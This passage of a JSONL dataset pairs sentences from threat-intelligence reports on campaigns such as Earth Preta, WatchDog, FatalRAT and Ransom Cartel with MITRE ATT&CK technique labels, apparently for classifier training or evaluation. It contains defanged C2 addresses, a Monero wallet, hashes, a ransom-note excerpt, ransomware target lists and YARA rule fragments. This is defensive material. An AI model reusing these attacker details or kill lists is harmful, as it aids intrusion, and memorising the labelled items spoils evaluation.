"Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Our study aimed at understanding the different phases and facets involved in this operation, shedding light on the motives and techniques used by Earth Preta to provide valuable insights and aid in the development of effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "A hierarchical structure.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Prior to this shift, most of the data collection efforts were aimed at academic institutions, ore and material refineries, specialized fabrication plants, financial institutions, and energy production and distribution.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Infection and exfiltration vectors Group 5171's exfiltration methods are sophisticated and designed to avoid detection.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Roaming endpoint attacks In contrast to Group 5171, Group 1358’s uses malicious USB mass storage devices as its primary method of compromise.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Group 724 also appears to be focused on compromising targets in specific industries and countries.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "The significant level of proliferation suggests that it is well-funded and includes a large team of skilled individuals, likely enabling it to carry out attacks on multiple targets simultaneously.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "The group uses customized USB storage devices tailored to individual targets as part of their intrusion tactics.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Despite its age, PlugX remains an effective tool for threat actors due to its flexibility and evasion capabilities.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "In addition, the group also employs USB-based data exfiltration as part of their tactics.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "Sectoral targets of Group 5171 are spread out, indicating that the group does not focus on specific sectors but rather adopts a more opportunistic approach.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "However, observing victims’ business verticals and sectors indicate that Group 5171’s collection efforts show a high level of interest in research and development related to IT solutions, materials manufacturing and fabrication, energy production and synthetization, air travel, and space.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This includes robust cybersecurity measures, effective countermeasures against cyberespionage, and increased international cooperation in combating this threat.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "It is essential to have a coordinated response to this threat, with the support of the private sector, academia, and civil society, to ensure the safety and security of critical infrastructure and intellectual property.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "This post is also available in: 日本語 (Japanese)Author's Note New evidence has emerged that suggests the group WatchDog was behind a cryptojacking campaign that we attributed to TeamTNT in a blog published on June 8, 2021.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new scripts from WatchDog are overtly copying TeamTNT infrastructure naming conventions and using a known WatchDog C2 hosting system, 199.199.226[.]117.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "As shown in Figure 1, the original WatchDog infrastructure, in the dark blue rectangle, has been commented out of the bash script functionality and replaced with the new infrastructure seen in the light blue rectangle.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new script also makes use of the exact URL address directory tree pattern that is present within the known WatchDog operations, with the directories b2f628 (red) and b2f628fff19fda999999999 (orange), as shown in Figure 2. Figure 2. URL directory pattern.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "These mining pools are nanopool[.]org, shown in Figure 4, and f2pool[.]com, shown in Figure 5.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Malware samples with hardcoded Nanopool mining operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "However, the sample also includes the email address hilde@teamtnt[.]red, which is a known TeamTNT email address. Figure 9.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "New IoCs analyzed in surrounding text.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Known TeamTNT malware repository.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Of note, some the of malware samples included in this repository were the Kubernetes and Docker-focused malware, ‘kube.jpg’ and ‘tshd’, presented in Unit 42's Black-T blog, but these appear to no longer be used in the new scripts discussed within this blog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "As the previous section mentioned, the IP address 199.19.226[.]117 also resolves to the known TeamTNT domain zzhrecieve.anondns[.]net. Figure 12.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Finally, another TeamTNT malware repository was identified by Unit 42 researchers, as shown in Figure 14.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The larger Chimaera repository contains known TeamTNT cryptojacking scripts and binary files.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It appears that WatchDog actors are attempting to expand their cryptojacking operations, while simultaneously masking their operations with those of the known cryptojacking operations performed by TeamTNT.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Only deploy vetted container images within production environments.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs. Indicators of Compromise IP Addresses 103.125.218[.]10747.253.42[.]213176.123.10[.]5739.100.33[.]20945.9.150[.]36106.15.74[.]11345.9.148[.]3513.245.9[.]14785.214.149[.]23645.9.148[.]37199.19.226[.]117 URL Addresses 85.214.149[.]236:443/sugarcrm/themes/default/images/ hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/ Domains global.bitmex.com[.]degsearch.com[.]dede.gsearch.com[.]deoracle.zzhreceive[.]topzzhreceive.anondns[.]netprojectbluebeam.anondns[.]net Monero (XMR) Wallets 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz Monero (XMR) Mining Pools xmr-asia1.nanopool[.]org:14444xmr.f2pool[.]com:13531Xmr.pool.gntl.co[.]uk:10009xmr.bohemianpool[.]com Repository SHA256 Hashes SHA256 FileName a506c6cf25de202e6b2bf60fe0236911a6ff8aa33f12a78edad9165ab0851caf kube.jpg e15550481e89dbd154b875ce50cc5af4b49f9ff7b837d9ac5b5594e5d63966a3 bioset.jpg 252bf8c685289759b90c1de6f9db345c2cfe62e6f8aad9a7f44dfb3c8508487a tshd.jpg 139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375 default.jpg 4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b 21.jpg 4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The unknown attackers created fake websites that look identical to those of popular applications such as Firefox, WhatsApp, or Telegram, but in addition to providing the legitimate software, also deliver FatalRAT, a remote access trojan that grants the attacker control of the victimized computer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "We reported these ads to Google and they were promptly removed.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Most of the attacks affected users in Taiwan, China and Hong Kong.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Apart from electrumx[.]org, a fake website in English for the Electrum Bitcoin wallet, all the other websites are in Chinese, suggesting that the attackers are mostly targeting Chinese speakers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Fake websites created by the attackers to deliver malicious installers (click to enlarge)", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Create scheduled tasks to execute the loader and updater components.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "The image shows that the original DLL was renamed to BHuedjhd.dll in this example and that the malicious DLL was compiled as Dll22.dll.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "An example of this function is shown in Figure 10.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "As an example, the malware can: Capture keystrokes Change the victim’s screen resolution Terminate browser processes and steal or delete their stored data.", "labels": ["T1056.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "For all of these reasons, we see how important it is to diligently check the URL that we are visiting before we download software.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "AFAHMalicious MSI installer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "3620B83C0F2899B85DC0607EFDEC3643BCA2441DSogou-setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "BRLoader DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "T1497.001Virtualization/Sandbox Evasion: System ChecksFatalRAT performs various checks to detect whether it’s running on a virtual machine.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "Symmetric CryptographyFatalRAT encrypts data with a custom encryption algorithm before it is sent to the C&C server.", "labels": ["T1573.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "T1095Non-Application Layer ProtocolFatalRAT uses TCP for C&C communications.", "labels": ["T1095"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"} {"sentence": "The fake sender used the same password of Fresh@123 for the Zip archive in the samples we obtained.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "Infection process based on deception", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "The attackers have crafted the shortcut, by prepending a large number of space characters to the Target field in the properties, so that the Target field appears blank.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "However, when viewed using a hex editor, the text content of the shortcut is rendered visible.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "A block of base64-encoded, encrypted data comprises almost 150KB of that script, along with code that decodes and decrypts the block of base64.", "labels": ["T1027", "T1140"], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "When decoded, the content of the Ir8 variable (a segment of which is shown below) turns out to be just another encoded PowerShell script, which the VBS decodes and then executes.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "The script (shown in part, below) converts several small strings to bytes, concatenates the output, performs a BXOR to decode the bytes, and then converts those bytes to ASCII text, before executing them.", "labels": ["T1140"], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "That’s what comes from the O7 variable (shown in part, below, because it is too large to fit on one screenshot).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "But the malware doesn’t exclusively inject its code into this exe; Other now-defunct Internet Explorer components were also observed being abused by the malware, including ieinstal.exe (the tool that installs Add-Ons into Internet Explorer).", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "and 185.225.74.91:2080.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "Most of all, be very wary of people who send you a Dropbox link to a password-protected Zip file at any time of year.", "labels": [], "doc_title": "Tax firms targeted by precision malware attacks"} {"sentence": "After building the headers, it will copy each PE section one at a time, as seen in Figure 11. Figure 11:", "labels": ["T1055"], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "BazarLoader Downloading Encrypted Payload Differences Between Versions There are a few notable differences between the first version of BazarLoader sent on 2020-10-06 (Employment Termination Malspam) and the one sent on 2020-10-08 (Survey Malspam).", "labels": [], "doc_title": "BazarLoader Mocks Researchers in December 2020 Malspam Campaign"} {"sentence": "Exploitation in February 2018 enabled the attackers to gain initial access and then persistence, with the help of the ChinaChopper and TwoFace web shells.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "On the hosts of presumably greatest interest, the SysUpdate and HyperBro backdoors were installed for reliable persistence and access.", "labels": ["T1105"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "This frequently used technique of loading malicious code in the context of a legitimate application is known as DLL hijacking.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Hex is read (after being copied from c:\\windows\\system32\\Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Let's consider the decrypted and decoded version of the ransomware (MD5: 841980b4ae02a4e6520ab834deee241b) in greater detail.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".js", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".mpa", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".sdf .sh .sitx .sln .sql .srt .svg .swf .swift .tar .tar.gz .tax2014 .tax2015 .tex .tga .thm .tif .tiff .tmp .toast .torrent .txt .vb .vcd .vcf .vcxproj .vob .wav .wma", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".wmv", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": ".wpd .wps .xcodeproj .xhtml .xlr .xls .xlsx .xml", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "First we will look at the approach for encryption of files with size less than 64,052,000 bytes (approximately 61 MB).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The result is that only small parts of the file—not the entire file—are encrypted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "You will also receive a consultation on how to improve your companies cyber security If you want to purchase our software to restore your data contact us at: Pt34Jarmys@protonmail.com alex.dali@iran.ir We can only show you the door.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Most of the affected computers had not only been disconnected from the corporate network, but turned off for analysis of the hard drive contents.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The operating system logs contain timestamps for shutdown and power on.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "We succeeded in bruteforcing the exact value of the base encryption key in about a minute on an ordinary workstation (on the order of a few tens of thousands of iterations).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The group likely has Asian roots, with activity since at least 2010.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "However, this could also be a false flag.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "And this is the script used to automatically delete the ransomware from a list of computers in 2020: @echo off for /f", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Hex net use \\\\%%i\\c$ /del )ELSE ( echo not access %%", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "Taken together, these similarities certainly point to APT27 as a culprit, but are not entirely conclusive.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "The hackers, while not changing their TTPs, chose rather unusual software to monetize their attacks.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "A mistake in the ransomware's cryptographic algorithms enabled us to recover the encrypted files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"} {"sentence": "With U.S. Tax Day approaching, Microsoft has observed phishing attacks targeting accounting and tax return preparation firms to deliver the Remcos remote access trojan (RAT) and compromise target networks beginning in February of this year.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "The ZIP file contains LNK files that act as Windows shortcuts to other files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "Tax Day-themed Remcos attack chain We continue to learn from these campaigns to improve how we protect customers.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "Domain:uymm[.]orgURL:https[:]//uymm[.]org/roman.msiSHA-256 hashes:23597910ec60cf8b97144447c5cddd2e657d09e2f2008d53a3834b6058f36a4195a2d34db66ce4507d05ac33bea3bdc054860d9d97e91bdc2ce7ce689ae06e9fac55905e6f5a2ab166f9a2ea7d1f4f68f5660f39b5c28b7746df1e9db6dd4430 References: 2021 Top Malware Strains | Cybersecurity and Infrastructure Security Agency (CISA) GuLoader: A Popular New VB6 Downloader that Abuses Cloud Services | Proofpoint US GuLoader: Peering Into a Shellcode-based Downloader | CrowdStrike The post Threat actors strive to cause Tax Day headaches appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"} {"sentence": "It is a free and powerful tool, making distribution of software easier.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The name of the next file is loaded as a stack-based wide stringThe base of kernel32.dll is fetched from PEBA set of function from kernel32.dll is retrieved – each of them by the name’s checksums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "As before, they are resolved by their hashes.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then the functions are used to load and decrypt the payload.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "That allows to bypass some monitoring in the situation if the system DLLs are hooked.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then, a function defined by its hash is retrieved (using the same hashing algorithm that was used to retrieve imports from normally loaded DLLs): After the pointer to the beginning of the function is fetched, a small disassembling loop is used to find the familiar pattern: moving the ID of the syscall into EAX register.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The decision for which of the versions should be applied is made based on the check if the process runs as Wow64 (emulated 32 bit on 64 bit Windows): If the process runs on a 32-bit system, the syscall can be made in a direct way, using SYSENTER:", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "If the system is 64-bit, the malware (that is 32-bit) switches into 64-bit mode via “Heaven’s Gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The 64-bit code, executed after the mode is switched via Heaven’s Gate Evolution This crypter has been around for several years, and during this time it went through several phases of evolution.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The extracted NSIS script contains a different sequence of commands: Function .onInit SetOutPath", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "First of all, the file name is passed dynamically rather than hardcoded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Popular and persistent", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Its popularity and diversity of payloads suggests that it is not linked to one specific actor, but rather sold as an independent component on one of many underground forums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In their latest campaign, LockBit has once again embraced the approach of disseminating malware through malicious document files targeting Korean individuals.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "The figure below depicts the delivery method employed by the LockBit ransomware group.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Unlike traditional methods that rely on suspicious indicators such as macros, this technique does not require their presence in the document until the malicious template is retrieved.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "The image below displays the de-Obfuscated VBA content from the downloaded template file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Conclusion The Lockbit ransomware has taken a surprising turn by adopting the old strategy of distributing its payload through malicious documents.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Disruption in organization operation.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Financial loss.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"} {"sentence": "Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.", "labels": ["T1012"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Registry transaction forensics were briefly explored in a previous blog post.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Malware Obfuscation As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile().", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "Its second DWORD must be less than the entry’s size minus the header.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "The PE header is validated, and sections mapped into memory; however, it does not fix section permissions or resolve imports.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "// fixup value upper byte and uint8(3) == 0 // always 0 and uint16(4) == uint16(6) and uint16(4) !", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "num sectors and uint32(8)", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) >", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "0x28 and uint32(i*512+0x88) < filesize and // look for magic and blockheader.blocksize in payload uint32(i*512+0x70+uint16(i*512+0x70+0x22))", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "== 2 and uint32(i*512+0x70+uint16(i*512+0x70+0x22)+4) == uint32(i*512+0x88)-0x30 ) ) } rule HUNTING_Win_CLFS_Entropy { meta: author = \"adrien.bataille@mandiant.com\" description = \"This rule looks for CLFS containers with records containing high entropy.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "== uint16(i*512+6) and uint16(i*512+4) !", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "File writes to .regtrans-ms or .blf files are fairly common, however stacking the process name and file paths may also provide good results.", "labels": [], "doc_title": "Too Log Didnt Read Unknown Actor Using CLFS Log Files for Stealth"} {"sentence": "REvil ransomware disappeared just a couple of months before Ransom Cartel surfaced and just one month after 14 of its alleged members were arrested in Russia.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "REvil’s dark web leak site became unreachable.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "At the start of the redirect, no breached organizations were listed on the site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The operator of the newly established blog appears to have some type of access to REvil or ties to the group.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "At the same time, our analysis of Ransom Cartel samples (detailed in the sections below) provides strong evidence of ties to REvil as well.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "There are a number of theories about the origins of Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "At this time, we believe that Ransom Cartel operators had access to earlier versions of REvil ransomware source code, but not some of the most recent developments (see our Ransom Cartel and REvil Code Comparison for more details).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel has attacked organizations in the following industries: education, manufacturing, and utilities and energy.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Their motivation is not to carry out cyberattacks themselves but rather to sell the access to other threat actors.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Post-encryption, the following file extensions have been observed: .zmi5z, .nwixz, .ext, .zje2m, .5vm8t and .m4tzt.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Notes Unit 42 has observed two different versions of ransom notes sent by Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "When the key is entered, the following page is loaded: Figure 3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Once the iteration ends, the sample will query the system metrics, specifically for the SM_CLEANBOOT value.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "SM_CLEANBOOT Values Description 0 Normal Boot 1 Fail-Safe Boot 2 Fail-Safe with Network Boot Table 1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Ransom Cartel encrypted configuration.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "dbsnmp raw_agent_svc onenote steam VeeamNFSSvc synctime infopath msaccess tbirdconfig mspub ocomm excel EnterpriseClient ocssd agntsvc winword ocautoupds thebat sql bedbh dbeng50 powerpnt wordpad xfssvccon VeeamTransportSvc CagService bengien visio outlook DellSystemDetect encsvc benetns pvlsvr isqlplussvc VeeamDeploymentSvc vsnapvss sqbcoreservice firefox mydesktopservice oracle mydesktopqos beserver thunderbird vxmon Table 3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Targeted service list.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Avoided extensions.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Once the gathered data has been formatted into the JSON structure, it is then encrypted using the same procedure that Ransom Cartel follows to generate session_secret blobs, which will be discussed shortly; put simply, it involves AES encryption, utilizing the SHA3 hash of a Curve25519 shared key for the AES key.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Once encrypted, it is written to the registry key SOFTWARE\\\\Google_Authenticator\\\\b52dKMhj, with the sample first attempting to write to the HKEY_LOCAL_MACHINE hive, before writing to HKEY_CURRENT_USER if the right permissions are not possessed.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "The second generated session secret follows the exact same procedure; however, instead of using attacker_cfg_public, it utilizes an embedded public key (attacker_embedded_public_1) within the binary to generate the shared key. Figure 9.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "(32 bytes) salsa_nonce (eight bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "crc_file_public_1 (four bytes) encryption_type (four bytes) block_spacing (four bytes) encrypted_null (four bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Both use an identical encryption scheme, generating multiple public/private key pairs, and creating session secrets using the same procedure found within REvil samples. Figure 13.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"} {"sentence": "Initial Access T1078.", "labels": [], "doc_title": "Ransom 